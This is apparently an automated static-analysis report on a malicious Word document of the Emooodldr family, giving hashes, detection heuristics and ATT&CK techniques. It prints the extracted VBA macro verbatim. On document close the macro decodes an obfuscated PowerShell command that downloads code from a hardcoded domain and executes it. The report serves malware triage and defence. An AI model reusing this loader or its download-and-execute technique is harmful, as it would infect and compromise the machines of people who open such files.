Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 4a1cebe9a93d3e2d…

MALICIOUS

Office (OOXML)

46.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: bd091f704e61c128c9ad1eb3ee82f6a6 SHA-1: 1fee7853d3551db9fe7ef94368d1875cb67818ac SHA-256: 4a1cebe9a93d3e2d991793438a8aeb33d284527fcd89bd0d07e17bb3dab60ec4
324 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoClose function that calls an obfuscated loader. This loader appears to be designed to download and execute a second-stage payload from a hardcoded URL. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family.

Heuristics 8

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3840 bytes
SHA-256: be7625fb64aebcf7fa2cfb4e6aaf4fd322fdef1f5440d05b820cfa824e3fc988
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
  Application.Run "uijvydkfiidxgiqxo"
End Sub

Public Function zzijnvvvrqoju(rwjfogwdffxnbv, ccqygvuyxcvifnvi)
  zkvdzvuynjzwyj = -1
  For i = 0 To UBound(rwjfogwdffxnbv)
    If rwjfogwdffxnbv(i) = ccqygvuyxcvifnvi Then
      zkvdzvuynjzwyj = i
    End If
  Next
  zzijnvvvrqoju = zkvdzvuynjzwyj
End Function
Public Function uijvydkfiidxgiqxo()
  kzogrnbqzynuj = "ieieieieieiii"
  ukonyjnkdjxgqbvgf = ""
  vdgkycqrywqivo = ".wkoviirzgyqdvnfdku"
  
  
  Call zizvzgkooyncrxvwrd(kzogrnbqzynuj, 13)
  
  
End Function
Public Function zizvzgkooyncrxvwrd(kczwoigkozqgqy, wkoviirzgyqdvnfdku)
  uvfjjiuvgygzyrcz = ""
  uvfjjiuvgygzyrcz = uvfjjiuvgygzyrcz & ".wkoviirzgyqdvnfdku"
  If wkoviirzgyqdvnfdku < 4 Then
    uvfjjiuvgygzyrcz = "ieieieieieiii"
  End If
  If wkoviirzgyqdvnfdku >= 7 Then
    uvfjjiuvgygzyrcz = "ieieieieieiii"
  End If
  uvfjjiuvgygzyrcz = "qwiejqojeasdqdqd.com"
  
  nfxqxfkvckxbuoqy = "714645201117206489o388590941796567105786198197608994269753411146883627433sh786198197608994269ll -NoP -EC  907324175869780700QBlAHgAKAAoAE4AZQB3AC0AT388590941796567105BiAGoAZQBjAHQAIABTAHkAc388590941796567105B0AGUAbQAuAE4AZQB0AC4AV388590941796567105BlAGIAQ388590941796567105BsAGkAZQBuAHQAKQAuAEQAb388590941796567105B3AG4AbABvAGEAZABTAHQAcgB714645201117206489AG4AZ388590941796567105AoACcA907324175869780700AB0AHQAcAA6AC8AL388590941796567105B447233632171111854AHcA907324175869780700QBlAGoAcQBvAGoAZQBhAHMAZAB447233632171111854AGQAcQBkAC4AY388590941796567105BvAG0AL388590941796567105BSAEUAWAAvAHMAbAB714645201117206489AGMA907324175869780700388590941796567105AuAHAA907324175869780700AB388590941796567105AD8A272924560821487317QB0AG0AYQA9AGEA272924560821487317ABlAHIA907324175869780700QBuAGQAJ388590941796567105A714645201117206489ACkA"
nfxqxfkvckxbuoqy = Replace(nfxqxfkvckxbuoqy, "714645201117206489", LCase(Chr(VBA.vbKeyP)))
qfwkoviirzgyqdvnfdkuujnxjc = 2293
nfxqxfkvckxbuoqy = Replace(nfxqxfkvckxbuoqy, "388590941796567105", LCase(Chr(VBA.vbKeyW)))
yxzvfrg = Val("1868")
nfxqxfkvckxbuoqy = Replace(nfxqxfkvckxbuoqy, "753411146883627433", LCase(Chr(VBA.vbKeyR)))
nobyowcnxq = "" + "fdrwdbidndxiwkoviirzgyqdvnfdkuz" + "z"
kqcbgqb = "nbzvkq" + "ujuxoxy" + "riwdyu" + "kkbfjj" + "vfjboour"
oucwjuxj = "wcngio" + "ydyo" + "bwviugqbfn"
nfxqxfkvckxbuoqy = Replace(nfxqxfkvckxbuoqy, "786198197608994269", LCase(Chr(VBA.vbKeyE)))
xncugovw = 785
ugkwugdriq = "" + ""
bybxuixui = 3850
nfxqxfkvckxbuoqy = Replace(nfxqxfkvckxbuoqy, "447233632171111854", LCase(Chr(VBA.vbKeyX)))
bwrqfckuq = "jckbykqnwfwjyiukogjynbjnf" + "kjgiojynkbg" + "" + "gx" + ""
cnvwgogvgo = Val("3355")
nfxqxfkvckxbuoqy = Replace(nfxqxfkvckxbuoqy, "907324175869780700", LCase(Chr(VBA.vbKeyA)))
rocqfzk = Val("2543")
wgoxbnbbo = 3335
ivknbgiz = "bbuqwgnogdi" + "ugjqovzjjrdddno" + "kjnxzj"
nfxqxfkvckxbuoqy = Replace(nfxqxfkvckxbuoqy, "272924560821487317", LCase(Chr(VBA.vbKeyD)))
bdrwkoviirzgyqdvnfdkugrggono = Val("923")
zoddojkbdk = 3721
dvzzngfwrrz = Val("612")
nfxqxfkvckxbuoqy = Replace(nfxqxfkvckxbuoqy, "CURRENT_DGA_DOMAIN", uvfjjiuvgygzyrcz)

  zbwzqyfnuuxogrrd = "WuuuuuCript.uuuuuhell"
  zbwzqyfnuuxogrrd = Replace(zbwzqyfnuuxogrrd, "uuuuu", Chr(VBA.vbKeyS))
  CreateObject(zbwzqyfnuuxogrrd).Run nfxqxfkvckxbuoqy, 0
  zizvzgkooyncrxvwrd = uvfjjiuvgygzyrcz
End Function

Public Function ojwjfdobrxcwxdfzg(bjxdjjdqkvzyx)
  kyxqndyngbujfbikzf = bjxdjjdqkvzyx
  If bjxdjjdqkvzyx > 12 Then
    kyxqndyngbujfbikzf = bjxdjjdqkvzyx + (-12)
  End If
  ojwjfdobrxcwxdfzg = kyxqndyngbujfbikzf
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: bcffe8f52b32ce01dfe691a57f2e52de6cabdea221265674f9201859b57f3383
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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